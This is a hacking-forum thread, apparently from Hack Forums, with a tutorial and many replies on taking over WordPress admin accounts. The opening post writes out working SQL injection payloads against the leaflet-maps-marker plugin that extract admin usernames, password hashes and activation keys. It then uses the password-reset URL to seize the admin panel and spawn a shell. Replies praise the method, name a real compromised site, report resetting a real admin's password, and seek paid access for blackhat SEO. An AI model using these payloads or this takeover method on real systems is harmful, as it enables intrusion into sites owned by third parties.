

Forum:[Hack Forums](#)

Thread: [\[TUT\] A new way to inject site that use Wordpress Script \[GHT\]](#)

BlackRoas - August 28, 2012, 9:20 am

Hi HF user !

this thread come to you by ?,.*? :: Gaza Hacker Team [GHT] and [GHI] :: ?*.,?

Today I'll show you How to inject site - word press - And enter to admin panel in Seconds .

lets say we have this vuln site :

PHP Code

```
<?php
```

www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=1

and let's say We extracted column number and admin data [user and passwords] by sqli .

PHP Code

```
<?php
```

www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=-1 Union Select 1,(select(@) from (select (@:=0x00),(select (@) from (wp_users) where (@) in (@:=concat(@,0x0a,user_login,0x3a,user_pass,0x3a,user_email))))a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 --

admin logo : michelsenweb

admin password : \$P\$BPXdeAk4qp6ndqQWUJfuRkMOCqi.bJ0

now this password is difficult to crack it

ok now i will show you Easy way to login into the admin panel

first we going to admin panel and press / Lost your password? \

PHP Code

```
<?php
```

www.site.com/wp-login.php

Spoiler [\(Click to View\)](#)

now we will put the admin user we found by injectin : michelsenweb .

Spoiler [\(Click to View\)](#)

like this

Spoiler ([Click to View](#))

now we haven't the admin mail to receive a link to create a new password or to get the activation key .

OK see what i will do !!!

now we will extracted user_activation_key by injection that we will use to grate new password

PHP Code

```
<?php
```

```
www.site.com/wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=-  
1 UNION SELECT 1,2,3,4,5,group_concat(user_login,0x3a,user_activation_key),7,8,9,10,11,12,13,  
14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM wp_users
```

Spoiler ([Click to View](#))

now we have the user_activation_key to this admin user : michelsenweb

michelsenweb:ADpMtuhLWYbPSubvKwgx

now we will use this Query to grate new password

PHP Code

```
<?php
```

```
www.site.com/wp-login.php?action=rp&key=user_activation_key&login=user_login
```

replace : user_activation_key by ADpMtuhLWYbPSubvKwgx

replace : user_login by michelsenweb .

like this

PHP Code

```
<?php
```

```
www.site.com/wp-login.php?action=rp&key=ADpMtuhLWYbPSubvKwgx&login=michelsenweb
```

Spoiler ([Click to View](#))

now we get this page to grate now password after we Makes
now password press Reset password

Spoiler ([Click to View](#))

ok let's try to log into admin panel by our new password

Spoiler ([Click to View](#))

aha we now in admin panel and now we can spawned shell

Spoiler ([Click to View](#))

hope you learned something ?

[follow us and know last gaza hacker news](#)

[img]http://gaza-images.net/?di=JXOO[/img]

ajkaro - August 28, 2012, 10:14 am

Great tutorial as always from BlackRoas... :)

BlackRoas - August 28, 2012, 10:34 am

(Aug 28, 2012 10:14 AM)ajkaro Wrote: [\[CITE\]](#) Great tutorial as always from BlackRoas... :)
thx my friend glad you like it

Jae? - August 28, 2012, 10:48 am

Brilliant tutorial, I personally would not have thought about extracting the activation key. Nice work, I can tell you put a lot of effort into this.

nirvana115 - August 28, 2012, 11:19 am

Great tutorial and Nice work BlackRoas...:)

luchni - August 28, 2012, 11:26 am

Nice tutorial, how long do you think will take them to patch that?

dddfdfdfdf - August 28, 2012, 11:40 am

when trying to extract tables in step 2 i get;

No input file specified.

is this because they don't have that plugin?

BlackRoas - August 28, 2012, 1:46 pm

thx all glad you like it ^_^

CrashBanicot - August 28, 2012, 4:03 pm

thank you for the great tutorial thanks AhBlackRose alias Injector-Boy ;)

p0pc0rn - August 28, 2012, 7:10 pm

one of the way to manipulate wordpress login :D
cool stuff bro.

BlackRoas - August 28, 2012, 7:15 pm

thanks my brother glad you like my tut :D

SmmHouse - August 28, 2012, 9:07 pm

Nice tutorial Boss. Will try it right now

root_zone666 - August 29, 2012, 6:53 am

when i want to extract say this :

Error: a marker with the ID -1 does not exist!

xx 0x0 xx - August 29, 2012, 8:29 am

lol very nice idea dude i really like it and i didn't think about activation key before

BlackRoas - August 29, 2012, 10:20 am

thanks my friend glad you like my thread :D

Catzbow - August 29, 2012, 11:18 am

Great ? i am not sure , but , i think this is good or regular tutorial.

NIIGHT HAWKE - August 29, 2012, 2:38 pm

? really nice tutorial ? thanks for sharing bro.

Aeyrit - August 29, 2012, 11:59 pm

great tut..

i will try it later.... nice work done.

BlackRoas - August 30, 2012, 3:56 am

thanks my friend glad you like my thread :D

Bacardi - August 30, 2012, 3:58 am

Looks very interesting. Going to try this out when I get home.

Great tut.

BlackRoas - August 30, 2012, 5:01 am

(Aug 30, 2012 03:58 AM)Bacardi Wrote: [\[CITE\]](#) Looks very interesting. Going to try this out when I get home.

Great tut.

thx bro glad you like it ^ ^

BlackRoas - August 31, 2012, 5:14 am

(Aug 29, 2012 06:53 AM)root_zone666 Wrote: [\[CITE\]](#) when i want to extract say this :

Error: a marker with the ID -1 does not exist!

pm me your site i will try for you ?

soeasy - September 1, 2012, 8:53 am

Great tutorial mate.I haven't seen this method before.

1+ for you.?

TheNeutron - September 1, 2012, 11:01 am

Woh man! Nice tutorial.... Really helped me! :D

(Used to wonder how to decrypt that Sh!t) :P

BlackRoas - September 1, 2012, 11:17 am

thx my brother glad to know you love my thread

~[DogiD]~ - September 1, 2012, 12:48 pm

Lol, Very nice tutorial bro :)
Keep it up!

~ DogiD ?

Cyber-Ghost - September 1, 2012, 4:48 pm

Perfect TUT its a good way to extract activition key :D

BlackRoas - September 1, 2012, 9:34 pm

thx my friend so happy becu you like my tut

BlackRoas - September 3, 2012, 3:01 pm

(Sep 1, 2012 08:53 AM)soeasy Wrote: [\[CITE\]](#) Great tutorial mate.I haven't seen this method before.
1+ for you.?
thx mate for rep greetz

razem - September 3, 2012, 3:24 pm

This is a nice tutorial, I will defiantly test this out later. Thanks.

Brainstormer - September 3, 2012, 4:07 pm

Nice Tutorial Bro, but for which version of Wordpress, is this Method? I get alway a Error, when I type "wp-content/plugins/leaflet-maps-marker/leaflet-fullscreen.php?marker=1 " behind the URL's with Errors Like: "Data not Found"

rvltr - September 3, 2012, 5:19 pm

nice tutorial. just a tip. next time try to hide the site better. tfit360.com

BlackRoas - September 4, 2012, 10:00 am

(Sep 3, 2012 05:19 PM)rvltr Wrote: [\[CITE\]](#) nice tutorial. just a tip. next time try to hide the site better.
tfit360.com
thx brother glad you like it

by the way the Link in valu site that infected was reformed
and i know the site { tfit360.com } was appear i see it

Light Yagami. - September 5, 2012, 5:30 pm

thanks bro i am learning from this big thanks

7zS2 - September 9, 2012, 4:34 pm

Ingenious. Thank you very much! ?

hipio - September 10, 2012, 2:31 am

That is a very nice way to get access to the admin panel!

BlackRoas - September 12, 2012, 2:46 am

thx to all brothers glad you like it

Polite - September 12, 2012, 3:13 am

Great tutorial, but I ripped the activation key, which now says invalid key...

edit: I made a mistake, now it's reset's password and mailed the admin. :)

BlackRoas - October 3, 2012, 2:06 pm

(Sep 12, 2012 03:13 AM)Polite Wrote: [\[CITE\]](#) Great tutorial, but I ripped the activation key, which now says invalid key...

edit: I made a mistake, now it's reset's password and mailed the admin. :)
thx glad you like my tut ???

133720 - August 28, 2013, 7:36 pm

HQ Thread for hacking wordpress site.
Great Tutorial.I got more knowledge from you.

TUNOVATO - August 28, 2013, 8:22 pm

Great tutorial and Nice work BlackRoas

????

xTyrantT - September 8, 2013, 8:44 pm

Nice tut Dude Like it... Keep Going :)

yohanda - January 14, 2014, 6:30 pm

looks nice, ill read later, has it been patched yet ?

JoinSeventh - January 15, 2014, 2:15 am

(Jan 14, 2014 07:30 PM)yohanda Wrote: [\[CITE\]](#) looks nice, ill read later, has it been patched yet ?
It's patched since Wordpress 2.8.4.
You can still receive the activation key but it's hashed with md5(wordpress).

source:

<http://wordpress.org/news/2009/08/2-8-4-security-release/>

SystemX - January 15, 2014, 3:50 am

Thanks bro. I like your tutorial :)

supermanozos - February 24, 2014, 2:45 am

@BlackRoas

OMG. Excellent tutorial. thank you so much.

#BORNE - February 25, 2014, 11:38 am

Great tutorial OP, thanks for sharing.

Haki - February 25, 2014, 11:48 am

Thank you for this tutorial BlackRoas!

sdaing - February 26, 2014, 12:13 am

Even the activation key is hashed by wordpress.

mahmudul006 - January 15, 2015, 5:59 am

nice tricks :)

keep its up

thanks in advance

ahmodtoyou - January 17, 2015, 12:46 am

great work brother , i'll try it soon
Keep it up

Sahaj - January 17, 2015, 12:47 am

Great tutorial mate... Keep it up! ?

Alikhan - May 12, 2015, 6:48 am

Super Tutriols Like To Learn New With Your Tutriols

InjectorBoy - July 8, 2016, 11:43 am

Great tutorial as always from BlackRoas... :)

liltaw10 - July 9, 2016, 6:06 pm

Awesome tutorial I love the hard work you put into this

BlackRoas - July 10, 2016, 1:38 pm

glad you liked my work thx for all

rainbowtrout - October 25, 2016, 3:03 pm

This post is pretty old now. Is this still working? Also are you available for hire? I do a lot of blackhat SEO and could use access to links on niche relevant or high authority wordpress sites.